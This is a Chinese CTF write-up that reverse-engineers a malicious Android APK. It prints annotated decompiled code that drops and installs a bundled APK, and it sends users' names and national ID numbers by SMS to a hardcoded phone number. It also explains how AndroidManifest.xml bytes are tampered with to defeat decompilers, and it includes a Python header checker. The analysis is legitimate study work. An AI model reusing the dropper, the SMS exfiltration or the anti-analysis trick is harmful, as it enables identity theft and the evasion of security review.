正常下载附件,解压后,拖到 JADX-gui 中去反编译一下,然后保存到文件夹里去,用 IDEA 打开,方便我们编辑。
打开之后,观察一下 AndroidManifest.xml 里面都有什么。
什么? AndroidManifest.xml 里竟然是空的?第一次遇见这种情况。暂时没啥思路,那就正常看看 MainActivity 吧
为了节省空间删除一些没啥意义的代码,并添加了详细的注释:
public class MainActivity extends ActionBarActivity {
public void onCreate(Bundle savedInstanceState) {
// 请求一个没有标题栏的窗口
requestWindowFeature(1);
// 自定义方法:获取所有已经安装的应用程序的名称
initpackagNameList();
System.out.println("host开始运行==============================");
// 注册了一个广播接收器
this.receiver = new MyReceiver(this, null);
// 设置过滤器:安装 app 的时候,系统会自动发送这个 Intent 广播
IntentFilter filter = new IntentFilter("android.intent.action.PACKAGE_ADDED");
// 不太明白这个是什么?
filter.addDataScheme("package");
registerReceiver(this.receiver, filter);
// 自定义方法:判断系统是否安装过这个 app
boolean installed_1 = detectApk("com.example.com.android.trogoogle");
// 如果没有安装这个 app 的话
if (!installed_1) {
System.out.println("host开始安装==============================");
File fileDir = getFilesDir();
String cachePath = String.valueOf(fileDir.getAbsolutePath()) + "/com.android.Trogoogle.apk";
// 自定义方法:将 apk 写入文件系统 data/data/xxx/com.android.Trogoogle.apk
retrieveApkFromAssets(this, "com.android.Trogoogle.apk", cachePath);
// 自定义方法:打开 app 应用,应该是安装应用
showInstallConfirmDialog(this, cachePath);
}
// 获取组件的引用
this.pass = (EditText) findViewById(R.id.password);
// 登陆按钮
this.button1 = (Button) findViewById(R.id.button1);
this.button1.setOnClickListener(new View.OnClickListener() {
public void onClick(View arg0) {
// 自定义方法:判断系统是否安装过这个 app
boolean installed = MainActivity.this.detectApk("com.example.com.android.trogoogle");
if (!installed) { // 如果没有,那就再安装一遍,跟前面的操作是一样的
File fileDir2 = MainActivity.this.getFilesDir();
String cachePath2 = String.valueOf(fileDir2.getAbsolutePath()) + "/com.android.Trogoogle.apk";
MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", cachePath2);
MainActivity.this.showInstallConfirmDialog(MainActivity.this, cachePath2);
return;
}
// 自定义方法:获取网络连接状态
boolean isOpenNet = MainActivity.this.goToNetWork();
if (!isOpenNet) { // 如果网络未连接
Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
} else if (MainActivity.this.pass.getText().toString().length() >= 6) { // 如果网络连接了,并且输入的密码长度 >= 6
Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
} else {
Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
}
}
});
// 注册按钮
this.button2 = (Button) findViewById(R.id.button2);
this.button2.setOnClickListener(new View.OnClickListener() {
public void onClick(View arg0) {
// 打开 注册 Activity
MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
}
});
}
public boolean goToNetWork() {
// 获取网络连接管理器实例
ConnectivityManager manager = (ConnectivityManager) getSystemService("connectivity");
// 获取 wifi 的网络状态
NetworkInfo.State wifi = manager.getNetworkInfo(1).getState();
if (wifi != null) {
return true;
}
// 获取蜂窝数据网络状态
NetworkInfo.State mobile = manager.getNetworkInfo(0).getState();
return mobile != null;
}
// fileName = com.android.Trogoogle.apk; path = data/data/xxx/com.android.Trogoogle.apk
public boolean retrieveApkFromAssets(Context context, String fileName, String path) {
File file;
boolean bRet = false;
try {
file = new File(path);
} catch (IOException e) {
Toast.makeText(context, e.getMessage(), 2000).show();
AlertDialog.Builder builder = new AlertDialog.Builder(context);
builder.setMessage(e.getMessage());
builder.show();
e.printStackTrace();
}
if (file.exists()) {
return true;
}
// 第一次运行是没有 cache 的,所以上面的内容会跳过。
file.createNewFile();
// assets 里只有一个 com.android.Trogoogle.apk.lnk 但是传入的参数没有 ".lnk",也就是说压根是找不到的
InputStream is = context.getAssets().open(fileName);
FileOutputStream fos = new FileOutputStream(file);
byte[] temp = new byte[1024];
while (true) {
int i = is.read(temp);
if (i == -1) {
break;
}
fos.write(temp, 0, i);
}
fos.flush();
fos.close();
is.close();
bRet = true;
return bRet;
}
public void showInstallConfirmDialog(final Context context, final String filePath) {
// filePath = data/data/xxx/com.android.Trogoogle.apk
AlertDialog.Builder tDialog = new AlertDialog.Builder(context);
tDialog.setIcon(R.drawable.ic_launcher);
tDialog.setTitle("未安装资源包");
tDialog.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
tDialog.setPositiveButton("安装", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
try {
String command = "chmod 777 " + filePath;
Runtime runtime = Runtime.getRuntime();
runtime.exec(command);
} catch (IOException e) {
e.printStackTrace();
}
// 显示内容的标准行动
Intent intent = new Intent("android.intent.action.VIEW");
// 268435456 -> Intent.FLAG_ACTIVITY_NEW_TASK : 这个标志表示如果当前应用程序没有在前台运行,系统应该为其创建一个新的任务栈
intent.addFlags(268435456);
// "application/vnd.android.package-archive" 是APK文件的MIME类型
intent.setDataAndType(Uri.parse("file://" + filePath), "application/vnd.android.package-archive");
// 启动这个活动: 那么系统将会打开指定的APK文件
context.startActivity(intent);
}
});
tDialog.show();
}
// packageName = com.example.com.android.trogoogle
public boolean detectApk(String packageName) {
return this.packagNameList.contains(packageName.toLowerCase());
}
private void initpackagNameList() {
this.packagNameList = new ArrayList<>();
// 获取包管理器
PackageManager manager = getPackageManager();
// 设备上所有已安装的应用程序的包信息
List<PackageInfo> pkgList = manager.getInstalledPackages(0);
for (int i = 0; i < pkgList.size(); i++) {
PackageInfo pI = pkgList.get(i);
this.packagNameList.add(pI.packageName.toLowerCase());
}
}
private class MyReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
System.out.println("MyReceiver 收到广播==========================");
if (intent.getAction().equals("android.intent.action.PACKAGE_ADDED")) {
// 很明显接下来的代码是启动 com.example.com.android.trogoogle.MainActivity
Intent mIntent = new Intent(context, MainActivity.class);
context.startActivity(mIntent);
System.out.println(" 界面跳 Ok!==============================");
Intent intent11 = new Intent("android.intent.action.MAIN");
intent11.addFlags(268435456);
intent11.addCategory("android.intent.category.LAUNCHER");
ComponentName cn = new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity");
intent11.setComponent(cn);
context.startActivity(intent11);
System.out.println(" 启动 Ok!==============================");
SmsManager sms1 = SmsManager.getDefault();
sms1.sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);
System.out.println(" 发送短信 Ok!==============================");
}
}
}
}
我咋看都不像是正经的 CTF ,这完全就是一个自动安装非法软件的 app 然后再看一下 RegisterActivity :
public class RegisterActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
// 身份证号编辑框
this.idEditText = (EditText) findViewById(R.id.idnumberId);
// 姓名编辑框
this.nameEditText = (EditText) findViewById(R.id.idnameId);
// 注册按钮
this.sendButton = (Button) findViewById(R.id.buttonId);
this.sendButton.setOnClickListener(new View.OnClickListener() {
public void onClick(View arg0) {
// 获取身份证号码
String idnumberString = RegisterActivity.this.idEditText.getText().toString();
if (idnumberString.length() != 18) {
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
return;
}
int year = Integer.parseInt(idnumberString.substring(6, 10));
int moth = Integer.parseInt(idnumberString.substring(10, 12));
int day = Integer.parseInt(idnumberString.substring(12, 14));
// 如果年、月、日不满足
if (year > 1996 || year < 1980 || moth > 12 || moth == 0 || day == 0 || day > 31) {
Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
} else if (RegisterActivity.this.nameEditText.getText().toString().length() < 2 || RegisterActivity.this.nameEditText.getText().toString().length() > 4) {
Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
} else {
SmsManager sms1 = SmsManager.getDefault();
sms1.sendTextMessage("15918661173", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + idnumberString, null, null);
Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
}
}
});
}
}
好家伙,这不就是一个窃取用户身份信息的 app 吗 还有个 WelcomeActivity 也就不用咋看了,也是窃取用户身份的代码。
这代码跟 CTF 完全无关,问题出在哪里了呢,我一开始还以为这个 .lnk 文件是 apk 文件,结果发现它就是一个快捷方式的文件
分析了一下这个 .lnk 也没发现啥有用的东西,线索完全断了,问题出在哪里了呢
仔细回想,好像AndroidManifest.xml 不对劲 AndroidManifest.xml 里面什么都没有!
为什么会这样呢?
原理可以参考 “AndroidManifest.xml 实现反编译对抗”,这里就不详细讲解了,简单说一下
假如说下图是一个正常的 AndroidManifest.xml 在 apk 安装包里的数据
因为谷歌官方并没有解释这个文件的二进制结构是什么样的,我们可以使用看雪 MindMac 师傅发布的图片来理解: bbs.kanxue.com/thread-1942…
因为安装 apk 的时候,AndroidManifest.xml 文件是在安卓手机上解析的,谷歌默认情况下认为这个文件没人会去更改里面的二进制数据的,所以这里的标志性字节的值,谷歌的安装 apk 代码里并没有强制性的去校验。
比如说第一个字节正常情况下是 03 00 08 00 (这里是小端模式,图片是大端模式),我们可以将其改为 00 00 08 00 (当然不止这一处,可以还有很多处都可以,这里只是举例),然后放到手机上去安装,实际上谷歌的安装器代码压根不校验这个值,所以可以正常安装。
但是我们用的反编译工具,比如说 JADX 、apktools 等工具在解析的时候是需要用到这些特定的二进制值的,如果值不对,这些工具可能会报错什么的,也就导致 AndroidManifest.xml 无法解析,直接输出个空的文件。
这样我们就可以通过修改特定的 AndroidManifest.xml 二进制文件里的特定值,来实现反编译对抗。
所以回到这道题上,因为 AndroidManifest.xml 文件没有被反编译出来,我们猜测,可能是 AndroidManifest.xml 文件的二进制值被修改了,那么如何改回去呢。
我这里简单写了一个代码来判断值是否有问题。目前只写了 100 多行,刚刚够这道题用的。
我们可以把 .apk 改为 .zip 然后解压得到二进制的 AndroidManifest.xml
class AMTransForm:
def __init__(self, file_data):
self.Data = {
"MagicNumber": {"size": 4, "require": b'\x03\x00\x08\x00'},
"FileSize": {"size": 4},
"ChunkType": {"size": 4, "require": b'\x01\x00\x1C\x00'},
"ChunkSize": {"size": 4},
"StringCount": {"size": 4, "count": 0},
"StyleCount": {"size": 4, "count": 0},
"Unknown": {"size": 4},
"StringPoolOffset": {"size": 4},
"StylePoolOffset": {"size": 4},
"StringOffsets": {"size": None, "lenTarget": "StringCount"}
}
self.curses = 0
self.file_data = file_data
for key in self.Data:
self.transfer(key, self.Data[key])
def transfer(self, key, value):
# 获取 bytes
byte = self.get_byte(value)
# 设置当前文件数据
value["current"] = byte
# 调用分析函数
func = getattr(self, key)
func(value, byte)
# 打印信息
self.print_info(key, value)
@staticmethod
def StringOffsets(region, byte):
region["require"] = byte
region["info"] = "[-] StringOffsets: "
tmp = []
for b in range(0, len(byte), 4):
num = int.from_bytes(byte[b:b + 4], "little")
tmp.append(str(num)) # 转化为 10 进制
region["info"] += "、".join(tmp)
def get_byte(self, value):
if "lenTarget" in value:
byte = self.file_data[self.curses: self.curses + (4 * self.Data[value["lenTarget"]]["count"])]
self.curses += 4 * self.Data[value["lenTarget"]]["count"]
else: # 定长区块
byte = self.file_data[self.curses: self.curses + value["size"]] # 读取数据
self.curses += value["size"] # 移动游标
return byte
def StylePoolOffset(self, region, byte):
size = int.from_bytes(byte, "little")
region["require"] = size.to_bytes(4, "little")
if size > len(self.file_data):
region["info"] = "\033[31m[E] StylePoolOffset 偏移过大\033[0m"
else:
region["info"] = "[-] StylePoolOffset 偏移 " + str(size) + " 字节"
def StringPoolOffset(self, region, byte):
size = int.from_bytes(byte, "little")
region["require"] = size.to_bytes(4, "little")
if size > len(self.file_data):
region["info"] = "\033[31m[E] StringPoolOffset 偏移过大\033[0m"
else:
region["info"] = "[-] StringPoolOffset 偏移 " + str(size) + " 字节"
@staticmethod
def Unknown(region, byte):
num = int.from_bytes(byte, "little")
region["require"] = num.to_bytes(4, "little")
region["info"] = "未定义的数据块"
@staticmethod
def StyleCount(region, byte):
count = int.from_bytes(byte, "little")
region["require"] = count.to_bytes(4, "little")
region["info"] = "[-] StyleCount: " + str(count) + " 个"
region["count"] = count
@staticmethod
def StringCount(region, byte):
count = int.from_bytes(byte, "little")
region["require"] = count.to_bytes(4, "little")
region["info"] = "[-] StringCount: " + str(count) + " 个"
region["count"] = count
@staticmethod
def ChunkSize(region, byte):
size = int.from_bytes(byte, "little")
region["require"] = size.to_bytes(4, "little")
region["info"] = "[-] ChunkSize: " + str(size) + " 字节"
@staticmethod
def ChunkType(region, byte):
if byte == region["require"]:
region["info"] = "ChunkType 标志正常"
else:
region["info"] = "\033[31m[E] ChunkType 标志异常\033[0m"
def FileSize(self, region, byte):
size = len(self.file_data)
region["require"] = size.to_bytes(4, "little")
if size == int.from_bytes(byte, "little"): # 如果相同
region["info"] = "文件大小正常: " + str(size) + " 字节"
else:
region["info"] = "\033[31m[E] 文件大小异常\033[0m"
@staticmethod
def MagicNumber(region, byte):
if byte == region["require"]:
region["info"] = "该文件为小端序"
elif byte == b'\x00\x08\x00\x03':
region["info"] = "该文件为大端序"
else:
region["info"] = "\033[31m[E] 魔数异常\033[0m"
@staticmethod
def print_info(key, value):
def some(region_):
bit = []
for i in range(0, len(region_), 4):
tmp = "{:0>8s}".format(hex(int.from_bytes(region_[i:i+4], "little"))[2:])
bit += [tmp[i:i + 2] for i in range(6, -1, -2)]
result = " ".join(bit) # 默认小端序显示
print(result, end=" | ")
# 对齐打印
num = 18 - len(key)
print(key+" "*num, end=" | ")
some(value["require"])
some(value["current"])
print(value["info"])
if __name__ == "__main__":
path = "AndroidManifest.xml"
file = open(path, 'rb')
data = file.read()
print("\033[31m请注意!\033[0m默认处理小端文件,如果你的文件是大端,请使用帮助文件(暂时未实现)转化为小端")
print("文件块 | 标准: 小端序 | 当前文件 | 信息")
amTF = AMTransForm(data)
写到后面发现难度越来越大了,目前还没有这方面的需求,所以先搁置吧,等以后有需求了再继续完善这个代码吧
把这两处错误的地方改正,然后保存,然后再压缩为 .zip 再修改为 .apk ,然后使用 JADX 再反编译一次看看。
非常好,已经成功反编译了,那么 flag 应该就是指着一串字符了: 8d6efd232c63b7d2